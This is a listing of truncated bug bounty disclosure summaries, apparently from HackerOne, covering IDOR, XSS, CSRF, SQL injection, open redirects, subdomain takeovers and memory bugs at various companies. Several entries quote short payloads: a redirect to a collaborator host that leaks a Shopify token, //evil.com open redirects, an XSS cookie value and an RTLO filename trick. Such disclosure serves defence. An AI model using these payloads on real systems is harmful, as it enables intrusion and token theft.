Reddit: Able to bypass email verification and change email to any other user email

The reporter discovered they were able to hijack invites to other ads teams by adding the extra field, email, to a request that would allow them to bypass email verification. By doing so they were able to accept invites to ads teams on behalf of others and assume the role of the invitee with thei...

Fastify: 1-click DOS in fastify-static via directly passing user's input to new URL() of NodeJS without try/catch

Summary: When fastify-static is mounted at root and registered the option redirect: true default of redirect option is false, the following line directly feed user's input which is req.raw.url to URL API without try/catch: https://github.com/fastify/fastify-static/blob/master/index.jsL439. A remo...

Affirm: IDOR to view order information of users and personal information

Summary: Broken access control is the method of controlling which users can perform a certain type of action or view set of data. Broken access control is a vulnerability that allows an attacker to circumvent those controls and perform more actions than they are allowed to, or view content they...

GitLab: RCE via unsafe inline Kramdown options when rendering certain Wiki pages

Summary When rendering wiki content with certain extensions such as .rmd, renderwikicontent will call othermarkupunsafe which will end up calling GitHub::Markup.render from the github-markup gem. Files with any extension can be uploaded by checking out the wiki with git, commiting the files and...

U.S. Dept Of Defense: CSRF to Cross-site Scripting (XSS)

hello dear support I have found csrf to XSS on https://██████ my payload "; url: POST ██████████ post data answer=A"; Impact Malicious JavaScript has access to all the same objects as the rest of the web page, including access to cookies and local storage, which are often used to store session...

Shopify: Screenshot Service leaks X-ABS-App-Token

Login and create a development store 2. Start Burp Suite and open a burp collaborator client then copy the collaborator payload 3. Edit the section header.liquid of your current theme. Adding this: window.location="https://pasteherecollaborator/"; Finally go to...

Basecamp: Bypass Tracking Blocker Protection Using Slashes Without Protocol On The Image Source.

Summary: - Some Way Has Been Discovered To Bypass Image Rewriting On HeyMail Using Slashes Without Protocol /\www.evil.com That Allows Bypassing Tracking Blocker And Collect Users Information Via Emails. Description: - While Searching I Found That The Image Rewriting Function On Heymail Could Be...

Mail.ru: unclaimed subdomain special.rkeeper.ru to takeover from tilda.cc

Domain, site, application -- http://special.rkeeper.ru/ Testing environment -- OS version, browser information, settings and prerequisites to reproduce vulnerability, testing tools used, etc Steps to reproduce: 1. create account on tilda.cc 1. create a aproject then a domain will be assigned to...

Mail.ru: Subdomain takeover http://promo.instamart.ru/

Unused promo.instamart.ru subdomain was delegated to wix.com and not claimed...

U.S. Dept Of Defense: CSRF to account takeover in https://███████.mil/

Summary: Hello Description: Impact Step-by-step Reproduction Instructions 1. Go to https://███.mil/ and login using your credintials 2. Now Click on change password 3. First turn the intercept of burp to on and enter your secondary email id and password and click on register password...

Mail.ru: CVE-2016-6415 on api-staging.plazius.ru [46.148.201.218]

Unpatched CVE-2016-6415 vulnerability could potentially lead to information disclosure on the host in plazius.ru infrastructure...

Internet Bug Bounty: Use after free vulnerability in phar_parse_zipfile

Malformed phar file with cache configuration leads freed memory as hash key when it inserts into the hash table. More detail information and original report is here: https://bugs.php.net/bug.php?id=79797 and it was assigned CVE-2020-7068. Impact Through this vulnerability that inserts freed memor...

h1-ctf: [h1-2006 CTF] Payments for May have been processed!

Hi : First off thanks for a great CTF! It had its ups and downs mainly due to my mistakes but here is the final flag: ^FLAG^736c635d8842751b8aafa556154eb9f3$FLAG$ My write up can be found at https://devcraft.io/bountypay-h1-2006-ctf.html unpublished detailing the process, tools, and mistakes I ma...

Kubernetes: DoS for client-go jsonpath func

Summary: jsonpath recursive descent cause a DoS vul kubectl apiextensions-apiserver cli-runtime and kubernetes is depends on client-go I think evalRecursive cause of this vulnerability function pos: client-go/util/jsonpath/jsonpath.go:451 Component Version: client-go:master Steps To Reproduce: i...

Stripo Inc: XSRF Token is Not being validated when sending emails test request which lead to CSRF attack using the flash file + 307 redirect technique

XSRF Token is Not being validated when sending emails test request which lead to CSRF attack using the flash file + 307 redirect technique...

Mail.ru: turboslim.lady.mail.ru - Blind sql-injection.

Blind time based SQL injection in turboslim.lady.mail.ru promo page due to insecure use of GET parameter Уязвимость была в GET-параметре...

X (Formerly Twitter): Twitter Source Label allow 'mongolian vowel separator' U+180E (app name)

Summary: Twitter app-names which are shown in the Tweet source label are supposed to be unique and because of that they must not include invisible unicode characters. However, you can use the mongolian vowel separator in these app-name, which allows to fake a app-name. Description: Every tweet ha...

Mail.ru: JMX RMI command injection on 195.211.131.82(Mail.ru Gaming)

Externally available Jolokia interface in Mail.Ru Gaming network allowed JMX RMI commands injection Сommand injection in Jolokia JMX. Reading the docs helps. A lot. Also, having good friends who can help you when you need it:...

Vend VDP: Open Redirect in the Path of vendhq.com

Summary: There is an open redirection vulnerability in the path of https://www.vendhq.com/ Description: An attacker can redirect anyone to malicious sites. Steps To Reproduce: Type in this URL: https://www.vendhq.com//evil.com/ As, you can see it redirects to that website when you inject this...

Trint Ltd: IDOR to update folder name of other user

Summary There is an IDOR to update folder name of other user Steps To Reproduce: - user A login to the application and see the folder name F494331 - user B login to the application and call the API with the projectId of user A POST / HTTP/1.1 Host: graphql2.trint.com User-Agent: Mozilla/5.0 Windo...

Dropbox: Algorithmic complexity vulnerability in ZXCVBN leads to remote denial of service attack

@davidrenardy discovered that the ZXCVBN algorithm is quadratic in time complexity, which implies that the user can submit an arbitrarily long password to the library, leading to a potential denial of service attack if performed at scale. Given how ZXCVBN is used at Dropbox, we accept the Denial ...

Mail.ru: [special.mail.ru] Information Disclosure

special.mail.ru was running misconfigured Laravel in debug mode, disclosing some sensitive information...

Internet Bug Bounty: [CVE-2018-18313] regcomp: heap-buffer-overflow read in S_grok_bslash_N

See: https://rt.perl.org/Public/Bug/Display.html?id=133192 CVE ID: CVE-2018-18313 Impact Potential information leakex: secret variables or source codes...

Central Security Project: Pippo XML Entity Expansion (Billion Laughs Attack)

Maven artifact groupId: ro.pippo artifactId: pippo-jaxb version: 1.12.0 Vulnerability Vulnerability Description Pippo unsafely parses user provided XML. The fromString in the ro.pippo.jaxb.JaxbEngine class allows user provided DTDs that the rest of the XML may reference. This can lead to recursiv...

Grammarly: Grammarly Keyboard for Android <4.1 leaks user input through logs (except for sensitive input fields)

@homelander identified that Grammarly for Android on Android 4.1 was leaking user-entered text to device logs. Currently, Grammarly for Android doesn't support devices with platform versions less than Android 5.0...

Ruby: HTTP header can split /[\r\n]/ instead of /\r\n/

https://www.ruby-lang.org/ja/news/2019/10/01/http-response-splitting-in-webrick-cve-2019-16254/...

Coursera: [www.coursera.org] Leaking password reset link on referrer header

Hi team, the user gets the email with a password reset link when opening it you will be redirected to password reset page when clicking on external links within the reset password page leaked password reset token in the referer header. steps: 1. open lost password page 2. enter your email and cli...

X (Formerly Twitter): [dev.twitter.com] XSS and Open Redirect

Description === XSS via Request-URI which requires user interaction. The vulnerability is caused by the difference in the Request-URI processing in the Location header and in the link on the page. By creating an incorrect port in the link on the Location header, you can block the redirection for...

Internet Bug Bounty: PHP OpenSSL zif_openssl_seal() heap overflow (wild memcpy)

Description: A wild memcpy is discovered in the openssl package included in stable PHP release. During parsing a PEM certificate in opensslseal, an invalid key length is produced after parsing, eskl0 value is -1 after the call to EVPSealInit, subsequently causing a heap overflow via a wild memcpy...

Cuvva: Missing Rate limiting on https://underwriter.partner.cuvva.com/login

Duplicate of 231380...

Rockstar Games: Login form on non-HTTPS page

Summary: ======= A page on a microsite is not fully protected by an SSL certificate. This could allow an attacker in a Man-in-the-Middle position to obtain usernames and passwords of users visiting the site. Description: ======= On the Red Dead Redemption subpage, the comments section on news...

Snapchat: RTLO char allowed in chat

Hey all, There seems to be no filtering of strange unicode characters such as U+202E which is an Right-To-Left-Override. I can send messages like "Hey check out my new song at example.com/songrtlo3pm.exe" and everyone would see the link as "example.com/songexe.mp3". Links that end with .exe are...

Nextcloud: Wordpress Version Disclosure Bug On Nextcloud

Hi @nextcloud , Description Wordpress version disclosure. Affected items https://nextcloud.com/readme.html https://nextcloud.com/wp-admin/install.php https://nextcloud.com/wp-login.php The impact of this vulnerability Possible Wordpress Version information disclosure.You are using wordpress 4.6.1...

Nextcloud: Files Drop: WebDAV endpoint is leaking existence of resources

The new WebDAV endpoint implementation in 11 is leaking too many informations if one executes a MKCOL or a PUT against an existing item. With Files Drop one should only be able to upload files but not leak any existence of items. Leaking existence using PUT When doing a PUT the expectation is to...

Shopify: Unauthorized access to Zookeeper on http://locutus-zk3.ec2.shopify.com:2181

What is Zookeeper? ==================== Zookeeper is a coordination service for distributed applications. It allows common services such as naming, synchronisation, configuration management and group services to be managed by a simple interface and It uses a data model of File System on an...

Uber: Authentication Issue for easter egg on bonjour.uber.com

This probably ok, almost definitely is just informative but thought I would throw it out here anyways. : bonjour.uber.com hosts an easter egg view source and scroll down where the passcode is insecurely stored as a javascript variable. The source for the easter egg is: html //error easter egg -...

Instacart: Authentication Bypass in Updating Personal Information

Hello Instacart, Firstly, I would like to remind you that I made this report by mail 2 days ago, Sat, 16-08-2016 before I got the invite here. Although a user is expected to input password before updating their personal information. This is not so anyway as I have found that one could actually...

Urban Dictionary: Infinite Upvoting/Downvoting: Lockout Bypass, Plus: Exposed API Documentation

By sending an extra parameter kind=1 in the upvote/downvote API request, a user can vote as many times as he wants without any IP address restriction: http://api.urbandictionary.com/v0/vote?kind=1&direction=up&defid=94413 Seems harmless enough, but your site does depend on the accuracy of the...

Veris: SSL/TLS BEAST ATTACK VULNERABILITY

hello, i m pentesting sandbox.veris.in and found that it is vulnerable to SSL/TLS BEAST ATTACK vulnerability at port 443. PoC Supported versions: TLSv1.0 TLSv1.1 TLSv1.2 Deflate compression: no Supported cipher suites ORDER IS NOT SIGNIFICANT: TLSv1.0 RSAWITH3DESEDECBCSHA DHERSAWITH3DESEDECBCSHA...

Informatica: [informatica.com] Blind SQL Injection

Hi guys! JSON POST parameter "docId" is vulnerable to Blind SQL Injection attack PoC Raw query POST /vtibin/RatingsCalculator/RatingsCalculator.asmx/CalculateRatings HTTP/1.1 User-Agent: Opera/9.80 Windows NT 6.1; WOW64 Presto/2.12.388 Version/12.17 Host: kb-test.informatica.com Accept-Language:...

Mail.ru: reflected in xss

hello i found vulnerability cross site scripting https://touch.mail.ru This vulnerability affects /cgi-bin/passremind. Attack details Cookie input VID was set to 14svrC28zu5Q1MWh0r"prompt979663" The input is reflected inside tag between single quotes. Request GET /cgi-bin/passremind HTTP/1.1...

Internet Bug Bounty: Files extracted from archive may be placed outside of destination directory

https://bugs.php.net/bug.php?id=70019...

X (Formerly Twitter): Open Redirect leak of authenticity_token lead to full account take over.

Hey guys URL: https://mobile.twitter.com/messages/follow?recipient=/example.com when I click 'Follow' I will send my POST request to https://example.com witch contains my authenticitytoken that can be used for anything like tweeting, following, sending messages, changing username.,.,.etc it can b...

Yahoo!: Local File Include on marketing-dam.yahoo.com

Thank you for your submission to the Yahoo Bug Bounty program. We were able to reproduce the issue you reported and have implemented appropriate fixes. We appreciate your adherence to responsible disclosure guidelines and look forward to your future participation in the program. Local File Includ...

SingleStore: Insecure Direct Object Reference (IDOR) allows creating folders.

An Insecure Direct Object Reference IDOR vulnerability was discovered in the backend API of a software product. The vulnerability allowed authenticated users with low privileges to create unauthorized folders and files in other users' workspaces within the same organization. The issue was reporte...

Node.js: DiffieHellman doesn't generate keys after setting a key

DiffieHellman in Node.js did not generate new keys after setting a key, due to an issue in OpenSSL. This vulnerability could have allowed for key reuse and potential compromise of confidentiality and integrity in applications relying on DiffieHellman for security...

Internet Bug Bounty: CVE-2023-27538: SSH connection too eager reuse still

A vulnerability was found in libcurl that allowed the reuse of a previously created SSH connection even when an SSH related option had been changed that should have prohibited reuse. This was due to two SSH settings being left out from the configuration match checks, making them match too easily...

EXNESS: subdomain takeover at odoo-staging.exness.io

Domain: https://odoo-staging.exness.io PoC https://odoo-staging.exness.io Cname: $ host odoo-staging.exness.io odoo-staging.exness.io is an alias for exness-stg.odoo.com. exness-stg.odoo.com has address 141.95.172.222 exness-stg.odoo.com mail is handled by 10 eu123a.odoo.com. Impact Scam, phishin...

U.S. Dept Of Defense: CORS Misconfiguration

Vulnerable Url: www.█████████ Summary: Cross-origin resource sharing CORS is a browser mechanism that enables controlled access to resources located outside of a given domain. However, it also provides a potential for cross-domain-based attacks, if a website's CORS policy is poorly configured and...

Nextcloud: SMTP Command Injection in iCalendar Attachments to Emails via Newlines

Note: This is similar to 1509216, but has a new source/attack vector. Apologies for not picking this up earlier. Summary: When users receive iCalendar attachments in Mail, there is an option to add it to their calendar: ██████████ Once they add it to calendar, a PUT request is sent: PUT...